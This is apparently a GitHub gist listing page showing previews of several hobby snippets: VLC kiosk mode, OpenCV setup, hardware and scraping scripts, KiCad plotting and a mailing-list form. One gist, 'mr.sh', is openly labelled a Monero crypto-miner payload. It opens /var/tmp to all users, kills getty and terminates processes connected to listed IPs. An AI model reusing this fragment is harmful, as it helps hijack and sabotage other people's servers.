Skip to content

Instantly share code, notes, and snippets.

@5shekel
5shekel / VLCkioskModeNoAudio.bat
Created August 18, 2011 10:42
run video in kiosk mode using vlc from command line
vlc.exe "inputVideo.mp4" --fullscreen --no-mouse-events --loop --no-osd --no-audio
# sudo apt install libgl1-mesa-glx libegl1-mesa libxrandr2 libxrandr2 libxss1 libxcursor1 libxcomposite1 libasound2 libxi6 libxtst6
# wget -P /tmp https://repo.anaconda.com/archive/Anaconda3-2020.02-Linux-x86_64.sh
# bash /tmp/https://repo.anaconda.com/archive/Anaconda3-2020.02-Linux-x86_64.sh
# conda create --name opencv -c conda-forge opencv
# conda activate opencv
# pip install opencv-contrib-python
# python testSource.py
# ['FFMPEG', 'GSTREAMER', 'INTEL_MFX', 'MSMF', 'V4L2', 'CV_IMAGES', 'CV_MJPEG', 'UEYE']
@5shekel
5shekel / mr.sh
Last active June 27, 2020 16:04
payload for monero crypto miner
#!/bin/bash
mkdir /var/tmp
chmod 777 /var/tmp
pkill -f getty
netstat -antp | grep '27.155.87.59' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '27.155.87.59' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13' | grep 'CLOSE_WAIT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '121.18.238.56' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
@5shekel
5shekel / spectrometer.py
Created April 25, 2019 19:12
multi-spectral imaging system
from __future__ import division
import time
import Adafruit_PCA9685
from pyueye import ueye
import ctypes
import datetime
pwm = Adafruit_PCA9685.PCA9685(address = 0x40) #1st
pwm1 = Adafruit_PCA9685.PCA9685(address = 0x41) #2nd
@5shekel
5shekel / extract_youtube_videoid.py
Created February 23, 2019 11:45 — forked from satomacoto/extract_youtube_videoid.py
Extract youtube video id from html
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# extract YouTube videoids from html
import re
import json
import urllib2
from BeautifulSoup import BeautifulSoup
def get_videoids(url):
@5shekel
5shekel / scrap99.py
Last active November 27, 2018 22:11
get yo links
#script guidance from John G. Fisher
# check his youtube https://www.youtube.com/watch?v=e6xZAISu-5E
# grab all links we talked about
from bs4 import BeautifulSoup
import requests
import re
#use 'python http.server' on the directory to serve the folder. sb4 doesnt do local links
inbox_path='http://localhost:8000/messages/inbox/ElBootkeh_64b09d1ba5/message.html'
print(inbox_path)
@5shekel
5shekel / pupetter.js
Created November 27, 2018 22:09
//grab a screenshot using chromedriver headless
//grab a screenshot using chromedriver headless
//see install of pupetter on
//https://pptr.dev/
const puppeteer = require('puppeteer');
// print process.argv
console.log(process.argv.length);
if (process.argv.length <= 2) {
console.log("Usage: " + __filename + " URL and IMAGE.jpg");
@5shekel
5shekel / weaver_dump_eeprom.ino
Last active November 11, 2018 21:12
dump of textile card
#include <stdint.h>
// Set MAX_ADDR to the largest address you need
// to read. For example, for the 27C512 chips,
// you'll want to use a MAX_ADDR of 65536.
// (That's 512 * 1024 / 8.)
// A 27C256 would be 256 kilobits, or 256 * 1024 / 8 =
// 32768.
#define MAX_ADDR 32768L
'''
A python script example to create plot files to build a board:
Gerber files
Drill files
source https://github.com/KiCad/kicad-source-mirror/blob/master/demos/python_scripts_examples/plot_board.py
additons via https://github.com/beagleboard/pocketbeagle/blob/master/kicad-scripts/kicad-fab.py
to use
$> python2 plot_gerber.py ../shnzn2svgExport/export.kicad_pcb
@5shekel
5shekel / zimmer-mailist.js
Created September 20, 2018 07:48
a form to subscribe to list
<div id="mc_embed_signup">
<form action="//zimmeramma.us9.list-manage.com/subscribe/post?u=5451b67137c5c418cd2b12858&amp;id=a00e351fb6" method="post" id="mc-embedded-subscribe-form" name="mc-embedded-subscribe-form" class="validate" target="_blank" novalidate>
<div id="mc_embed_signup_scroll">
<h2>Subscribe to zimmer mailing list</h2>
<div class="mc-field-group">
<label for="mce-EMAIL">Email Address </label>
<input type="email" value="" name="EMAIL" class="required email" id="mce-EMAIL">
</div>
<div id="mce-responses" class="clear">
<div class="response" id="mce-error-response" style="display:none"></div>